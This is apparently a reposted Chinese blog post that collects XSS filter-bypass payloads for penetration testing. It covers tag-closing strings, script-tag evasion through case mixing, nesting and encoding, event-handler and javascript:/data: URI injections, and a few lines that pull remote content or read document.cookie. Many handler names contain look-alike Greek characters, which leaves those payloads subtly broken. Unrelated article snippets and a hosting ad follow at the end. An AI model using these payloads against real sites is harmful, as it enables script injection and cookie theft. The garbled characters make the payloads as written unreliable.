XSS————3、XSS测试思路

摘要:
0x00前言作为一名新人,我之前没有对XSS测试思想的具体总结。今天下午,我写了XSS渗透测试过程的摘要。我希望你能在下面写下你常用和有用的有效载荷。非常感谢。

0x00前言

作为一个刚入行的菜鸟,之前对XSS测试的思路没有一个具体化的总结

今天下午写了一下关于测试XSS渗透测试过程的总结

希望大家能在底下写上自己常用的和好用的payload

谢谢!!!

0x01 关于闭合前方标签

首先自然是测试如何闭合前面的标签来成功插入自己的XSS代码,下面给出了几种常用的闭合

1. ’> ‘> “> “/> ‘>> “>> ‘”>> ‘>”> >”> >”’> ‘” “>

2. =’> ‘) } <%, <//, <!,<?可以被解析成<

面对的转义单引号和双引号 怎么玩 –》宽字节 %c1'> 道理和宽字节注入一样

3.直接过滤尖括号的绕过 "'%&#> (此处借鉴宝哥,这些字符同样拿来结合上边的)

4.对于标签的闭合 具体还是看前端代码 看是在什么样的标签当中,需要对什么样的父标签进行闭合。。。。。

0x02 想办法改变纯纯的script标签

Eg.:<script>alert(/xss/)</script>

<script>被过滤怎么办

标签大小写的绕过:<Script>(大量空格)alert(/xss/)(大量空格)</SCRipt>

<Script>被一次过滤:<scr<script>ipt>alert(/xss/)</scr<script>ipt>

</script>也被过滤了: <scr<script>ipt>alert(/xss/)</scr</script>ipt>

多加几层试一试

Unioncode 16进制均不可用

当我们的圆括号被过滤了

1.alert`/xss/`

2.`${alert `/xss/`}`

3. <svg><script>alert&#40(大量空格)1&#41 </script></svg>

4. <svg><script>alert&#40/1/&#41</script>

这个位置的alert被过滤了 怎么玩呢

  1. confirm() 和 prompt() 等效
  2. <script>u0061u006Cu0065u0072u0074(/xss/)</script> unioncode编码
  3. <script>(大量空格)+alert(/xss/)</script>
  4. <script>setTimeout(alert(88199),0)</script>这个能执行就OK了 也unioncode编码下

0x03 标签元素

1.与事件的组合

<div οnclick="alert('xss')">xss</div> <div onDbclick="alert('xss')">xss</div>

<div οnmοuseenter="alert('xss')">xss</div> <div οnmοuseup=alert(15)>xss</div>

<div οnmοuseοver=alert(15)>xss</div> <div onmousewheel=alert(15)>xss</div>

<div onmove=alert(15)>xss</div>

<div οnmοuseleave=alert(15)>xss</div> <div onmoveend=alert(15)>xss</div>

<div οnmοusemοve=alert(15)>xss</div> <div onmovestart=alert(15)>xss</div>

<div οnmοuseοut=alert(/xss/)>xss</div>

<a +上述事件>xss</a>

<p+上述事件>xss</p>

<span+上述事件>xss<span>

<anytag+上述事件>xss

<button+上述事件>xss

<form οnsubmit=”alert(/xss/)”><button>xss

<body οnlοad=alert(/xss/)>

<marquee onstart=alert(30)></marquee>

<select name=”” +上述鼠标事件><select>

<select autofocus οnfοcus=alert(1)>

<textarea autofocus οnfοcus=alert(1)>

<keygen autofocus οnfοcus=alert(1)>

<input οnfοcus=alert(/xss/) autofocus>

<input οnblur=alert(/xss/) autofocus><input autofocus>

如果以上事件或者标签被过滤了怎么办呢

大小写的绕过

<div/οnmοuseοver=alert(15)>xss</div>

利用对敏感字的过滤绕过

Eg. <div/onmou<script>seover=alert(15)>xss</div>

2.标签与属性的组合

利用SRC/href属性:

<iframe src=”javascript:alert(/xss/)”>

<a href=”javascript:alert(/xss/)”>

<script src=data:text/javascript,alert(/xss/)></script>

<iframe src="javascript:alert(/xss/)">

<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

其他属性:

href=
action=
formaction=
location=
on*=(8/16)
name=
background=
poster=
src=
code=
data= //只支持base64

onxxx里面可以用十六跟八进制 href里面可以用十进制和十六进制

formaction”属性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript&colon;alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

属性内值被过滤了怎么办

首先当然还是大小写转换:

<a href=”javas(TAB)cript:alert(/xss/)”>

<a href=”javascrip&#116&#alert(/xss/)”> HTML属性内的值支持ASCII转码

<a href=”&#01;javascript:alert(/xss/)或者&#1写在相同位置

<a href=”java&#09(&#0A/&#0D);script:alert(/xss/)>

<a href=”javascript&colon;alert(/xss/)”>通过对值的实体编码

<a href=”java&Tab;script:alert(/xss/)”>

<a href=”javasc&NewLine;ript&colon;alert(/xss/)”>

<a href=” data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpPC9zY3JpcHQ+” 玮协议

javascript:%0dalert(1) 冒号后面不能连接字符的

javascript:%0dhttp://www.0aa.me%0dalert(xss) href后边必须带url的

javascript://www.0aa.me%0dalert(xss) 协议后必须跟着网站

3.标签属性和事件组合

<img src=x οnerrοr=prompt(/xss/);>
<img/src=aaa.jpg οnerrοr=prompt(/xss/);>防src过滤
<video src=x οnerrοr=prompt(/xss/);>
<audio src=x οnerrοr=prompt(/xss/);>

过滤的话可以用类似二次嵌套的方式

<img/src=x one(过滤的内容)rror=alert(/xss/)>

其他绕过方式就是编码或者进制转换,以及上边的这些方法

免责声明:文章转载自《XSS————3、XSS测试思路》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇黑盒测试方法——边界值分析(转)[转] 如何把书上的字弄到电脑下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Backbone.Router实践

前面介绍了Model和Collection,基本上属于程序中静态的数据部分。这一节介绍Backbone中的router,属于动态的部分,见名知意,router——路由的意思,显然是能够控制url指向哪个函数的。具体是怎么做的一会通过几个实例来看看。 在现在的单页应用中,所有的操作、内容都在一个页面上呈现,这意味着浏览器的url始终要定位到当前页面。那么一个...

XSS防御策略

  1.X-Frame-Options 如果网站可以嵌入到IFRAME元素中,则攻击者可以在社交场合设计一种情况,即受害者被指向攻击者控制的网站,该网站构成目标网站的框架。然后攻击者可以操纵受害者在目标网站上不知不觉地执行操作。即使有跨站点请求伪造保护,这种攻击也是可能的,并且被称为“clickjacking”,有关更多信息,请参阅https://www...

JS,Jquery获取各种屏幕的宽度和高度(转载)

原文:https://www.cnblogs.com/fuyuanming/articles/5453756.html 1.JS 网页可见区域宽: document.body.clientWidth 网页可见区域高: document.body.clientHeight 网页可见区域宽: document.body.offsetWidth (包括边线的宽...

逻辑漏洞小结之SRC篇

最近在挖各大src,主要以逻辑漏洞为主,想着总结一下我所知道的一些逻辑漏洞分享一下以及举部分实际的案例展示一下,方便大家理解。 主要从两个方面看,业务方面与漏洞方面。(接下来就从拿到网站的挖掘步骤进行逐一介绍各个逻辑漏洞) 一 、业务 注册: 1.短信轰炸/验证码安全问题/密码爆破/邮箱轰炸 上面这个属于利用了burp中的intruder插件遍历了差数,导...

JSON.stringify 语法讲解 随风浪迹天涯 博客园

JSON.stringify 语法讲解 认识javascript也不短的时间了,可是这个用法说实在的,我还是第一次见过,惭愧啊惭愧啊。于是乎,在网上找了写资料,写了些例子 希望能给园子们一些帮助。 作用:这个函数的作用主要是为了系列化对象的。 可能有些人对系列化这个词过敏,我的理解很简单。就是说把原来是对象的类型转换成字符串类型(或者更确切的说是json...

html5对密码加密

今天找了几个关于对html5的密码加密的方法,仅供参考 1、base64加密:在页面中引入base64.js文件,调用方法为: <html> <head> <meta charset="utf-8"> <title>base64加密</title> <script type=...